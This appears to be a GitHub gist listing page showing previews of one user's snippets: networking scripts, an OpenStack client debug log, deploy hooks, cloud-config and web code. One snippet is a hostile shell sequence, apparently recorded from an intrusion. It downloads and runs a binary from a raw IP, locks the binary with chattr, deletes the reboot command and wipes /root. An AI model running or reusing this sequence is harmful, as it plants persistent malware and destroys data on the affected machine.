Skip to content

Instantly share code, notes, and snippets.

@pellaeon
pellaeon / a.bash
Created October 30, 2015 11:35
ip netns VPN
#!/bin/bash
#create bridge 'br0'
brctl addbr br0
#create network namespace 'ns0'
ip netns add ns0
#create virtual nic pair for hooking ns0
ip link add veth0 type veth peer name veth1
#adding veth1 into namespace 'ns0'
ip link set veth1 netns ns0
#bring ethernet NIC down for adding it to br0 later
@pellaeon
pellaeon / neutron client debug
Created September 27, 2015 14:40
neutronclient.client doesn't seem to recognize Keystone API v3
2015-09-27 22:34:36,421 neutronclient.client DEBUG
REQ: curl -i http://172.29.236.19:5000/v3/tokens -X POST -H "User-Agent: python-neutronclient" -d '{"auth": {"tenantName": "admin", "passwordCredentials": {"username": "admin", "password": "REDACTED"}}}'
2015-09-27 22:34:36,456 neutronclient.client DEBUG RESP:404 {'content-length': '93', 'vary': 'X-Auth-Token', 'server': 'Apache', 'date': 'Sun, 27 Sep 2015 14:34:36 GMT', 'content-type': 'application/json', 'x-openstack-request-id': 'req-073bd239-db55-4da9-8db2-7daf9f01ea36'} {"error": {"message": "The resource could not be found.", "code": 404, "title": "Not Found"}}
@pellaeon
pellaeon / 0KVb7nflqxs.js
Last active July 3, 2023 23:40
facebook PrivacyConst
/*!CK:1682740188!*/ /*1436151151,*/
if (self.CavalryLogger) {
CavalryLogger.start_js(["87tQA"]);
}
__d("TickerStoryList", ["Event", "Animation", "Arbiter", "AsyncRequest", "AsyncSignal", "Bootloader", "ChannelConstants", "LegacyContextualDialog", "CSS", "DOM", "HTML", "Keys", "LayerFadeOnHide", "LiveTimer", "NavigationMessage", "Parent", "Rect", "Run", "ScrollableArea", "SelectorDeprecated", "Style", "TickerController", "TickerReadStateTracking", "Toggler", "URI", "UserActivity", "UserAgent_DEPRECATED", "Vector", "DOMVector", "BanzaiODS", "clickRefAction", "collectDataAttributes", "containsNode", "cx", "csx", "ex", "emptyFunction", "ge", "getElementText", "goURI", "throttle", "tickerPhoteSnowLiftOpenStatus"], function(a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, aa, ba, ca, da, ea, fa, ga, ha, ia, ja, ka, la, ma, na, oa, pa, qa, ra, sa, ta, ua, va) {
b.__markCompiled && b.__markCompiled();
var wa = 15000,
xa = {};
@pellaeon
pellaeon / docker.cloudconfig
Last active August 29, 2015 14:26
Docker cloudconfig
#cloud-config
apt_mirror: http://ubuntu.cs.nctu.edu.tw/ubuntu/
timezone: Asia/Taipei
package_upgrade: true
packages:
- git
- screen
runcmd:
- wget -qO- https://get.docker.com/ | sh
@pellaeon
pellaeon / exp1.go
Created July 29, 2015 09:58
Simultaenous Reader reading and read from slice PoC
package main
import (
"fmt"
"io"
"net/http"
"sync/atomic"
"time"
)
from math import *
from decimal import *
S=20
lo=Decimal(5)
lh=Decimal(2)
u=Decimal(1)
def p0(y):
sum1=Decimal(0)
for i in range(0,y):
cd /sbin
wget 23.234.15.11/sysconfig
chmod u+x sysconfig
/sbin/sysconfig
ss
chattr +i sysconfig
ss
rm -rf reboot
cd /root
rm -rf *
### Keybase proof
I hereby claim:
* I am pellaeon on github.
* I am pellaeon (https://keybase.io/pellaeon) on keybase.
* I have a public key whose fingerprint is 95DC BD22 16E9 57FC 5779 AC15 8713 357D 42E7 1100
To claim this, I am signing this object:
@pellaeon
pellaeon / post-receive
Created February 20, 2015 06:00
Django uwsgi post-receive git deploy hook (FreeBSD)
#!/bin/bash
export GIT_WORK_TREE=/srv/xxxx.tw
git checkout -f master
cd $GIT_WORK_TREE
cp /repos/settings.json ${GIT_WORK_TREE}/luroufan/settings/
if [ ! -d ${GIT_WORK_TREE}/venv ]; then
virtualenv venv
fi
. venv/bin/activate
<html ng-app="mail" ng-csp="" manifest="appcache.manifest"><head>
<meta charset="utf-8">
<title>Whiteout Mail</title>
<!-- Theses CSP rules are used as a fallback in runtimes such as Cordova -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self' chrome-extension: file: gap:; object-src 'none'; script-src 'self' 'unsafe-eval' chrome-extension: file: gap:; connect-src *; style-src 'self' 'unsafe-inline' chrome-extension: file: gap:; img-src 'self' chrome-extension: file: gap: data:">
<!-- iOS homescreen link -->
<meta name="apple-mobile-web-app-capable" content="yes">
<!-- iOS iPad icon (retina) -->